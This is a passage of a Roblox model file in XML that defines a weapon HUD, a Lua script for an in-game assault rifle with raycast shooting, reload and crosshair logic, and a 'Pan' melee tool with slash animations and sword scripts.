					</Item>
					<Item class="Frame" referent="RBX5224">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">RightFrame</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>-7</XO>
								<YS>0</YS>
								<YO>-1</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>14</XO>
								<YS>0</YS>
								<YO>2</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX5225">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">LeftFrame</string>
							<UDim2 name="Position">
								<XS>-0.5</XS>
								<XO>-7</XO>
								<YS>0</YS>
								<YO>-1</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>14</XO>
								<YS>0</YS>
								<YO>2</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="ImageLabel" referent="RBX5226">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<Content name="Image"><url>http://www.roblox.com/asset/?id=115400215</url></Content>
							<string name="Name">TargetHitImage</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-25</XO>
								<YS>0</YS>
								<YO>-25</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>50</XO>
								<YS>0</YS>
								<YO>50</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX5227">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">6</token>
							<string name="Name">ReloadingLabel</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>20</XO>
								<YS>0</YS>
								<YO>-20</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Reloading</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">0</token>
							<token name="TextYAlignment">2</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX5228">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">BottomFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
								<YS>0.5</YS>
								<YO>-7</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>2</XO>
								<YS>0</YS>
								<YO>14</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX5229">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Reload</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-120</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">false</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX5230">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">7</token>
							<string name="Name">Reload</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Press R to Reload</string>
							<Color3 name="TextColor3">4294901760</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="LocalScript" referent="RBX5231">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">PSG</string>
					<ProtectedString name="Source">--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName)
&#9;while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
&#9;return parent[childName]
end

----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does
local Damage = 45
-- How many times per second the gun can fire
local FireRate = 1 / 4
-- The maximum distance the can can shoot, this value should never go above 1000
local Range = 700
-- In radians the minimum accuracy penalty
local MinSpread = 0.005
-- In radian the maximum accuracy penalty
local MaxSpread = 0.16
-- Number of bullets in a clip
local ClipSize = 10
-- DefaultValue for spare ammo
local SpareAmmo = 100
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect
local AimInaccuracyStepAmount = 0.0375
-- Time it takes to reload weapon
local ReloadTime = 2.6
----------------------------------------

-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor&#9;= Color3.new(1, 0, 0)
local NeutralReticleColor&#9;= Color3.new(1, 1, 1)

local Spread = MinSpread
local AmmoInClip = ClipSize

local Tool = script.Parent
local Handle = WaitForChild(Tool, &apos;Handle&apos;)
local WeaponGui = nil

local LeftButtonDown
local Reloading = false
local IsShooting = false

-- Player specific convenience variables
local MyPlayer = nil
local MyCharacter = nil
local MyHumanoid = nil
local MyTorso = nil
local MyMouse = nil

local RecoilAnim
local RecoilTrack = nil

local IconURL = Tool.TextureId  -- URL to the weapon icon asset

local DebrisService = game:GetService(&apos;Debris&apos;)
local PlayersService = game:GetService(&apos;Players&apos;)


local FireSound

local OnFireConnection = nil
local OnReloadConnection = nil

local DecreasedAimLastShot = false
local LastSpreadUpdate = time()

-- this is a dummy object that holds the flash made when the gun is fired
local FlashHolder = nil


local WorldToCellFunction = Workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = Workspace.Terrain.GetCell

function RayIgnoreCheck(hit, pos)
&#9;if hit then
&#9;&#9;if hit.Transparency &gt;= 1 or string.lower(hit.Name) == &quot;water&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Effect&quot; or hit.Name == &quot;Rocket&quot; or hit.Name == &quot;Bullet&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Handle&quot; or hit:IsDescendantOf(MyCharacter) then
&#9;&#9;&#9;return true
&#9;&#9;elseif hit:IsA(&apos;Terrain&apos;) and pos then
&#9;&#9;&#9;local cellPos = WorldToCellFunction(Workspace.Terrain, pos)
&#9;&#9;&#9;if cellPos then
&#9;&#9;&#9;&#9;local cellMat = GetCellFunction(Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)
&#9;&#9;&#9;&#9;if cellMat and cellMat == Enum.CellMaterial.Water then
&#9;&#9;&#9;&#9;&#9;return true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;return false
end

-- @preconditions: vec should be a unit vector, and 0 &lt; rayLength &lt;= 1000
function RayCast(startPos, vec, rayLength)
&#9;local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
&#9;if hitObject and hitPos then
&#9;&#9;local distance = rayLength - (hitPos - startPos).magnitude
&#9;&#9;if RayIgnoreCheck(hitObject, hitPos) and distance &gt; 0 then
&#9;&#9;&#9;-- there is a chance here for potential infinite recursion
&#9;&#9;&#9;return RayCast(hitPos, vec, distance)
&#9;&#9;end
&#9;end
&#9;return hitObject, hitPos
end



function TagHumanoid(humanoid, player)
&#9;-- Add more tags here to customize what tags are available.
&#9;while humanoid:FindFirstChild(&apos;creator&apos;) do
&#9;&#9;humanoid:FindFirstChild(&apos;creator&apos;):Destroy()
&#9;end 
&#9;local creatorTag = Instance.new(&quot;ObjectValue&quot;)
&#9;creatorTag.Value = player
&#9;creatorTag.Name = &quot;creator&quot;
&#9;creatorTag.Parent = humanoid
&#9;DebrisService:AddItem(creatorTag, 1.5)

&#9;local weaponIconTag = Instance.new(&quot;StringValue&quot;)
&#9;weaponIconTag.Value = IconURL
&#9;weaponIconTag.Name = &quot;icon&quot;
&#9;weaponIconTag.Parent = creatorTag
end


local function CreateBullet(bulletPos)
&#9;local bullet = Instance.new(&apos;Part&apos;, Workspace)
&#9;bullet.FormFactor = Enum.FormFactor.Custom
&#9;bullet.Size = Vector3.new(0.1, 0.1, 0.1)
&#9;bullet.BrickColor = BrickColor.new(&quot;Black&quot;)
&#9;bullet.Shape = Enum.PartType.Block
&#9;bullet.CanCollide = false
&#9;bullet.CFrame = CFrame.new(bulletPos)
&#9;bullet.Anchored = true
&#9;bullet.TopSurface = Enum.SurfaceType.Smooth
&#9;bullet.BottomSurface = Enum.SurfaceType.Smooth
&#9;bullet.Name = &apos;Bullet&apos;
&#9;DebrisService:AddItem(bullet, 2.5)
&#9;return bullet
end

local function Reload()
&#9;if not Reloading then
&#9;&#9;Reloading = true
&#9;&#9;-- Don&apos;t reload if you are already full or have no extra ammo
&#9;&#9;if AmmoInClip ~= ClipSize and SpareAmmo &gt; 0 then
&#9;&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;&#9;end
&#9;&#9;&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;&#9;&#9;if WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(ReloadTime)
&#9;&#9;&#9;-- Only use as much ammo as you have
&#9;&#9;&#9;local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
&#9;&#9;&#9;AmmoInClip = AmmoInClip + ammoToUse
&#9;&#9;&#9;SpareAmmo = SpareAmmo - ammoToUse
&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;WeaponGui.Reload.Visible = false
&#9;&#9;end
&#9;&#9;Reloading = false
&#9;end
end

function OnFire()
&#9;if IsShooting then return end
&#9;if MyHumanoid and MyHumanoid.Health &gt; 0 then
&#9;&#9;if RecoilTrack and AmmoInClip &gt; 0 then
&#9;&#9;&#9;RecoilTrack:Play()
&#9;&#9;end
&#9;&#9;IsShooting = true
&#9;&#9;while LeftButtonDown and AmmoInClip &gt; 0 and not Reloading do
&#9;&#9;&#9;if Spread and not DecreasedAimLastShot then
&#9;&#9;&#9;&#9;Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
&#9;&#9;&#9;&#9;UpdateCrosshair(Spread)
&#9;&#9;&#9;end
&#9;&#9;&#9;DecreasedAimLastShot = not DecreasedAimLastShot
&#9;&#9;&#9;if Handle:FindFirstChild(&apos;FireSound&apos;) then
&#9;&#9;&#9;&#9;Handle.FireSound:Play()
&#9;&#9;&#9;&#9;Handle.Flash.Enabled = true
&#9;&#9;&#9;end
&#9;&#9;&#9;if MyMouse then
&#9;&#9;&#9;&#9;local targetPoint = MyMouse.Hit.p
&#9;&#9;&#9;&#9;local shootDirection = (targetPoint - Handle.Position).unit
&#9;&#9;&#9;&#9;-- Adjust the shoot direction randomly off by a little bit to account for recoil
&#9;&#9;&#9;&#9;shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread) * shootDirection
&#9;&#9;&#9;&#9;local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
&#9;&#9;&#9;&#9;local bullet
&#9;&#9;&#9;&#9;-- Create a bullet here
&#9;&#9;&#9;&#9;if hitObject then
&#9;&#9;&#9;&#9;&#9;bullet = CreateBullet(bulletPos)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;if hitObject and hitObject.Parent then
&#9;&#9;&#9;&#9;&#9;local hitHumanoid = hitObject.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;&#9;&#9;if hitHumanoid then
&#9;&#9;&#9;&#9;&#9;&#9;local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
&#9;&#9;&#9;&#9;&#9;&#9;if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;
&#9;&#9;&#9;&#9;AmmoInClip = AmmoInClip - 1
&#9;&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;end
&#9;&#9;&#9;wait(.2); Handle.Flash.Enabled = false
&#9;&#9;&#9;wait(FireRate)
&#9;&#9;&#9;OnMouseUp()
&#9;&#9;end
&#9;&#9;IsShooting = false
&#9;&#9;if AmmoInClip == 0 then
&#9;&#9;&#9;Handle.Tick:Play()
&#9;&#9;&#9;WeaponGui.Reload.Visible = true
&#9;&#9;end
&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;end
&#9;end
end

local TargetHits = 0
function UpdateTargetHit()
&#9;TargetHits = TargetHits + 1
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = true
&#9;end
&#9;wait(0.5)
&#9;TargetHits = TargetHits - 1
&#9;if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = false
&#9;end
end

function UpdateCrosshair(value, mouse)
&#9;if WeaponGui then
&#9;&#9;local absoluteY = 650
&#9;&#9;WeaponGui.Crosshair:TweenSize(
&#9;&#9;&#9;UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
&#9;&#9;&#9;Enum.EasingDirection.Out,
&#9;&#9;&#9;Enum.EasingStyle.Linear,
&#9;&#9;&#9;0.33)
&#9;end
end

function UpdateAmmo(value)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;ClipAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
&#9;&#9;if value &gt; 0 and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = false
&#9;&#9;end
&#9;end
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;TotalAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
&#9;end
end


function OnMouseDown()
&#9;LeftButtonDown = true
&#9;OnFire()
end

function OnMouseUp()
&#9;LeftButtonDown = false
end

function OnKeyDown(key)
&#9;if string.lower(key) == &apos;r&apos; then
&#9;&#9;Reload()
&#9;end
end


function OnEquipped(mouse)
&#9;Handle.EquipSound:Play()
&#9;RecoilAnim = WaitForChild(Tool, &apos;Recoil&apos;)
&#9;FireSound  = WaitForChild(Handle, &apos;FireSound&apos;)

&#9;MyCharacter = Tool.Parent
&#9;MyPlayer = game:GetService(&apos;Players&apos;):GetPlayerFromCharacter(MyCharacter)
&#9;MyHumanoid = MyCharacter:FindFirstChild(&apos;Humanoid&apos;)
&#9;MyTorso = MyCharacter:FindFirstChild(&apos;Torso&apos;)
&#9;MyMouse = mouse
&#9;WeaponGui = WaitForChild(Tool, &apos;WeaponHud&apos;):Clone()
&#9;if WeaponGui and MyPlayer then
&#9;&#9;WeaponGui.Parent = MyPlayer.PlayerGui
&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;end
&#9;if RecoilAnim then
&#9;&#9;RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim)
&#9;end

&#9;if MyMouse then
&#9;&#9;-- Disable mouse icon
&#9;&#9;MyMouse.Icon = &quot;http://www.roblox.com/asset/?id=18662154&quot;
&#9;&#9;MyMouse.Button1Down:connect(OnMouseDown)
&#9;&#9;MyMouse.Button1Up:connect(OnMouseUp)
&#9;&#9;MyMouse.KeyDown:connect(OnKeyDown)
&#9;end
end


-- Unequip logic here
function OnUnequipped()
&#9;LeftButtonDown = false
&#9;Reloading = false
&#9;MyCharacter = nil
&#9;MyHumanoid = nil
&#9;MyTorso = nil
&#9;MyPlayer = nil
&#9;MyMouse = nil
&#9;if OnFireConnection then
&#9;&#9;OnFireConnection:disconnect()
&#9;end
&#9;if OnReloadConnection then
&#9;&#9;OnReloadConnection:disconnect()
&#9;end
&#9;if FlashHolder then
&#9;&#9;FlashHolder = nil
&#9;end
&#9;if WeaponGui then
&#9;&#9;WeaponGui.Parent = nil
&#9;&#9;WeaponGui = nil
&#9;end
&#9;if RecoilTrack then
&#9;&#9;RecoilTrack:Stop()
&#9;end
end

local function SetReticleColor(color)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
&#9;&#9;&#9;if line:IsA(&apos;Frame&apos;) then
&#9;&#9;&#9;&#9;line.BorderColor3 = color
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end


Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)

while true do
&#9;wait(0.033)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and MyMouse then
&#9;&#9;WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
&#9;&#9;SetReticleColor(NeutralReticleColor)

&#9;&#9;local target = MyMouse.Target
&#9;&#9;if target and target.Parent then
&#9;&#9;&#9;local player = PlayersService:GetPlayerFromCharacter(target.Parent)
&#9;&#9;&#9;if player then
&#9;&#9;&#9;&#9;if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;SetReticleColor(EnemyReticleColor)
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;SetReticleColor(FriendlyReticleColor)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;if Spread and not IsShooting then
&#9;&#9;local currTime = time()
&#9;&#9;if currTime - LastSpreadUpdate &gt; FireRate * 2 then
&#9;&#9;&#9;LastSpreadUpdate = currTime
&#9;&#9;&#9;Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
&#9;&#9;&#9;UpdateCrosshair(Spread, MyMouse)
&#9;&#9;end
&#9;end
end
</ProtectedString>
				</Properties>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX5232">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0.200000003</X>
					<Y>0</Y>
					<Z>-1.10000002</Z>
					<R00>0.00999951363</R00>
					<R01>-5.96046448e-008</R01>
					<R02>0.999949992</R02>
					<R10>0.999949992</R10>
					<R11>5.96046448e-008</R11>
					<R12>-0.00999951363</R12>
					<R20>-5.96046448e-008</R20>
					<R21>1</R21>
					<R22>5.96046448e-008</R22>
				</CoordinateFrame>
				<string name="Name">Pan</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=126896560</url></Content>
				<string name="ToolTip">Pan</string>
			</Properties>
			<Item class="Part" referent="RBX5233">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
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						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5283">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
			</Item>
			<Item class="Animation" referent="RBX5284">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74813494</url></Content>
					<string name="Name">RightSlash</string>
				</Properties>
			</Item>
			<Item class="StringValue" referent="RBX5285">
				<Properties>
					<string name="Name">RunAnim</string>
					<string name="Value">OverHeadSwing</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX5286">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74894663</url></Content>
					<string name="Name">LeftSlash</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX5287">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74897796</url></Content>
					<string name="Name">OverHeadSwing</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX5288">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74901237</url></Content>
					<string name="Name">Taunt</string>
				</Properties>
			</Item>
			<Item class="BoolValue" referent="RBX5289">
				<Properties>
					<string name="Name">Taunting</string>
					<bool name="Value">false</bool>
				</Properties>
			</Item>
			<Item class="Camera" referent="RBX5290">
				<Properties>
					<Ref name="CameraSubject">null</Ref>
					<token name="CameraType">0</token>
					<CoordinateFrame name="CoordinateFrame">
						<X>3.00843692</X>
						<Y>2.04299498</Y>
						<Z>0.38796404</Z>
						<R00>-0.0349007845</R00>
						<R01>-0.166666716</R01>
						<R02>0.985395551</R02>
						<R10>-2.23517418e-007</R10>
						<R11>0.985996127</R11>
						<R12>0.166768312</R12>
						<R20>-0.99939096</R20>
						<R21>0.00582009554</R21>
						<R22>-0.0344121456</R22>
					</CoordinateFrame>
					<float name="FieldOfView">70</float>
					<CoordinateFrame name="Focus">
						<X>-0.200000003</X>
						<Y>1.5</Y>
						<Z>0.5</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">ThumbnailCamera</string>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX5291">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Local Gui</string>
					<ProtectedString name="Source">--Stickmasterluke
--A nice simple axe


local sp=script.Parent
local sword=sp.Handle


enabled=true
taunting=false

function onButton1Down(mouse)
&#9;if not enabled then
&#9;&#9;return
&#9;end
&#9;enabled=false
&#9;mouse.Icon=&quot;rbxasset://textures\\GunWaitCursor.png&quot;
&#9;wait(1.25)
&#9;mouse.Icon=&quot;rbxasset://textures\\GunCursor.png&quot;
&#9;enabled=true
end


function onEquippedLocal(mouse)
&#9;local currentlast=lastequipped
&#9;if mouse==nil then
&#9;&#9;print(&quot;Mouse not found&quot;)
&#9;&#9;return 
&#9;end
&#9;mouse.Icon=&quot;rbxasset://textures\\GunCursor.png&quot;
&#9;mouse.Button1Down:connect(function()
&#9;&#9;onButton1Down(mouse)
&#9;end)
&#9;mouse.KeyDown:connect(function(key)
&#9;&#9;key=string.lower(key)
&#9;&#9;if key==&quot;l&quot; or key==&quot;t&quot; or key==&quot;g&quot; then&#9;-- :3
&#9;&#9;&#9;local h=sp.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;if h~=nil then
&#9;&#9;&#9;&#9;sp.Taunting.Value=true
&#9;&#9;&#9;&#9;h.WalkSpeed=0
&#9;&#9;&#9;&#9;tauntanim=h:LoadAnimation(sp.Taunt)
&#9;&#9;&#9;&#9;tauntanim:Play()
&#9;&#9;&#9;&#9;wait(1)
&#9;&#9;&#9;&#9;swordOut()
&#9;&#9;&#9;&#9;wait(1.4)
&#9;&#9;&#9;&#9;swordUp()
&#9;&#9;&#9;&#9;wait(1)
&#9;&#9;&#9;&#9;h.WalkSpeed=16
&#9;&#9;&#9;&#9;sp.Taunting.Value=false
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end)
end
sp.Equipped:connect(onEquippedLocal)

while sp:FindFirstChild(&quot;RunAnim&quot;)==nil do
&#9;wait()
end
sp.RunAnim.Changed:connect(function()
&#9;local h=sp.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;local t=sp.Parent:FindFirstChild(&quot;Torso&quot;)
&#9;local anim=sp:FindFirstChild(sp.RunAnim.Value)
&#9;if anim and t and h then
&#9;&#9;theanim=h:LoadAnimation(anim)
&#9;&#9;if theanim and h.Health&gt;0 then
&#9;&#9;&#9;theanim:Play()
&#9;&#9;&#9;if sp.RunAnim.Value==&quot;OverHeadSwing&quot; then
&#9;&#9;&#9;&#9;wait(.25)
&#9;&#9;&#9;&#9;swordOut()
&#9;&#9;&#9;&#9;wait(.5)
&#9;&#9;&#9;&#9;swordUp()
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX5292">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">SwordScript</string>
					<ProtectedString name="Source">--Stickmasterluke
--A nice simple axe


sp=script.Parent

r=game:service(&quot;RunService&quot;)


anims={&quot;RightSlash&quot;,&quot;LeftSlash&quot;,&quot;OverHeadSwing&quot;}

basedamage=5
slashdamage=15
swingdamage=25
damage=basedamage

sword=sp.Handle
sp.Taunting.Value=false

local SlashSound=Instance.new(&quot;Sound&quot;)
SlashSound.SoundId=&quot;rbxasset://sounds\\swordslash.wav&quot;
SlashSound.Parent=sword
SlashSound.Volume=.7

local UnsheathSound=Instance.new(&quot;Sound&quot;)
UnsheathSound.SoundId=&quot;rbxasset://sounds\\unsheath.wav&quot;
UnsheathSound.Parent=sword
